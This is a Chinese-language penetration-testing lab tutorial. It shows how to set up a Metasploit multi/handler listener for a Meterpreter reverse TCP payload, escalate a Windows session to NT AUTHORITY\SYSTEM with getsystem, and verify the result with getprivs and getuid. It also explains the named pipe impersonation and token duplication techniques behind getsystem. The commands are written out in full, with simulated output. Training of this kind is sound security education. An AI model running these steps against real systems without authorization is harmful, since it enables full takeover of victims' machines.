引言
在渗透测试领域,获取目标系统的初始访问权限仅仅是开始。通常,初始立足点是一个权限较低的用户账户,其权限有限。要获得对系统的完全控制,你必须将特权提升到更高级别的账户,例如 Windows 上的 Administrator,或者更好的 NT AUTHORITY\SYSTEM。这个过程被称为特权提升。
Metasploit Framework 提供了一个强大的后渗透(post-exploitation)载荷 Meterpreter,其中包含一个名为 getsystem 的多功能命令,该命令专为此目的而设计。此命令自动化了各种技术,以将当前会话的特权提升到最高级别。
在本实验(lab)中,你将扮演一个攻击者的角色,该攻击者已经在 Windows 目标上获得了基本的 Meterpreter 会话。你将学习如何使用 getsystem 命令来提升你的特权,并确认你新的访问级别。
在 Windows 目标上建立 Meterpreter 会话
在此步骤中,我们将模拟获取一个 Meterpreter 会话。首先,我们需要启动 Metasploit Framework 控制台并配置一个监听器来“捕获”来自受感染机器的传入连接。
打开一个终端,以安静模式(quiet mode)启动 Metasploit 控制台,以避免显示横幅。
msfconsole -q
进入 msfconsole 提示符后,我们将使用通用的 multi/handler 模块。该模块旨在处理来自各种载荷(payloads)的传入连接。
use multi/handler
接下来,我们需要告知监听器要预期的载荷。在本实验(lab)中,我们将使用标准的 Windows Meterpreter reverse TCP 载荷。
set payload windows/meterpreter/reverse_tcp
我们还需要配置监听器的 IP 地址(LHOST)和端口(LPORT)。我们将 LHOST 设置为 127.0.0.1(localhost),LPORT 设置为 4444。
set LHOST 127.0.0.1
set LPORT 4444
现在,通过运行 exploit 命令来启动监听器。我们使用 -j 标志将其作为后台作业运行,这样 msfconsole 提示符将保持可用,以便执行其他命令。
exploit -j
你应该会看到一个确认监听器已启动的消息。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
在本实验(lab)中,一个后台进程将模拟一个已连接回你的受感染 Windows 主机。片刻之后,你应该会看到一条消息,表明一个 Meterpreter 会话已打开。
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49152) at YYYY-MM-DD HH:MM:SS +0000
要与这个新会话进行交互,请使用 sessions 命令,并带上 -i 标志,后跟会话 ID。
sessions -i 1
你的提示符应该会变为 meterpreter>,这表明你现在已进入目标机器上的 Meterpreter 会话。
meterpreter >
使用 getprivs 检查你的当前特权
在此步骤中,在尝试提权之前,了解我们当前用户账户所拥有的特权至关重要。在 Windows 中,特权决定了用户可以执行哪些特定的系统级操作,例如调试程序或关闭系统。
Meterpreter 提供了 getprivs 命令来枚举与当前进程令牌(process token)关联的特权。
现在你已进入 meterpreter> 提示符,运行 getprivs 命令:
getprivs
输出将列出当前用户进程拥有的所有特权。某些特权是默认启用的,而其他特权可能被禁用。
============================================================
Enabled Process Privileges
============================================================
SeChangeNotifyPrivilege
SeIncreaseQuotaPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
此输出告诉我们当前的能力。许多提权技术要生效,需要某些特权,例如 SeDebugPrivilege 或 SeImpersonatePrivilege。查看此列表有助于我们规划下一步行动。
尝试使用 getsystem 命令提权至 SYSTEM
在此步骤中,我们将使用 Meterpreter 的主要提权命令:getsystem。此命令是一个强大的脚本,它会自动尝试多种不同的技术,将会话的特权提升到 NT AUTHORITY\SYSTEM。
NT AUTHORITY\SYSTEM 账户是 Windows 系统上权限最高的账户,几乎拥有对所有资源的无限制访问权限。控制此账户通常是后渗透(post-exploitation)的主要目标。
在你的 meterpreter> 提示符下,只需运行 getsystem 命令:
getsystem
Meterpreter 现在将尝试各种技术。如果成功,你将看到一条消息,指示哪种技术生效。最常见的成功结果是通过“命名管道模拟”(Named Pipe Impersonation)。
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
如果命令返回成功消息,则你可能已成功提升了特权。如果失败,则意味着在当前用户的上下文中,所有自动化技术均未生效,这可能是由于缺少特权或系统加固所致。在本实验(lab)中,该命令预计会成功。
使用 getuid 验证新特权
在此步骤中,运行 getsystem 后,我们需要验证我们的特权是否已成功提升。一个简单的方法是检查我们当前会话的用户身份。
Meterpreter 为此目的提供了 getuid 命令。它会查询系统并返回 Meterpreter 服务器当前运行的用户名。
在你的 meterpreter> 提示符下,运行 getuid 命令:
getuid
如果 getsystem 命令成功,输出现在应该显示你就是 SYSTEM 用户。
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
看到 NT AUTHORITY\SYSTEM 作为服务器用户名,是成功提权的最终确认。你现在对目标机器拥有最高级别的控制权。如果你在运行 getsystem 之前运行了 getuid,它会显示你最初攻陷的低权限用户的名称。
讨论不同的 getsystem 技术
在此步骤中,我们将探讨运行 getsystem 时幕后发生的情况。此命令并非单一的、神奇的功能;它是一个脚本,会遍历已知 Windows 提权技术的列表。
要查看可用技术的列表,你可以通过传递 -h 标志来使用 getsystem 命令的帮助菜单。
getsystem -h
这将显示用法选项以及它可以采用的技术列表。
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t The technique to use. (Default to trying all)
Techniques:
0: All
1: Named Pipe Impersonation (In Memory/Admin)
2: Named Pipe Impersonation (Dropper/Admin)
3: Token Duplication (Admin)
(注意:技术数量和名称在 Metasploit 版本之间可能略有不同。)
让我们简要分析一下这些技术意味着什么:
- 命名管道模拟(内存/管理员) (Named Pipe Impersonation (In Memory/Admin)): 这是默认且最可靠的方法。它会创建一个以 SYSTEM 身份运行的服务,然后创建一个服务连接到的命名管道。你的进程随后会模拟该服务的安全上下文,成为 SYSTEM。这一切都在内存中完成。它通常需要管理员级别的特权才能成功。
- 命名管道模拟(Dropper/管理员) (Named Pipe Impersonation (Dropper/Admin)): 这与第一种技术类似,但涉及将文件(DLL)写入磁盘。这种方法不太隐蔽,更容易被杀毒软件检测到。
- 令牌复制(管理员) (Token Duplication (Admin)): 此技术会查找一个已以 SYSTEM 身份运行的进程,窃取其访问令牌,并将其应用于你当前的进程。这需要
SeDebugPrivilege,该权限允许你检查和调试其他进程。
默认情况下,getsystem 会尝试所有可用技术(-t 0),直到其中一种成功。了解这些方法有助于你在 getsystem 失败时进行故障排除,并允许你在掌握目标系统配置的更多信息时手动选择特定技术。
总结
在此实验中,你已成功执行了最关键的后渗透任务之一:权限提升。你学会了如何利用 Metasploit Framework 及其 Meterpreter payload,将你在 Windows 目标上的访问权限从普通用户提升到拥有至高无上权力的 NT AUTHORITY\SYSTEM 账户。
你完成了整个过程,从设置监听器和建立会话到验证你最终的访问级别。具体来说,你使用了:
msfconsole来设置监听器。getprivs来枚举你初始的权限。getsystem来自动提升你的权限。getuid来确认你已成为NT AUTHORITY\SYSTEM。
最后,你探索了 getsystem 命令在底层使用的不同技术。这些知识对于理解该命令在不同环境中可能成功或失败的原因非常有价值。掌握权限提升是任何渗透测试人员的基本技能,而 getsystem 是你武器库中的强大工具。


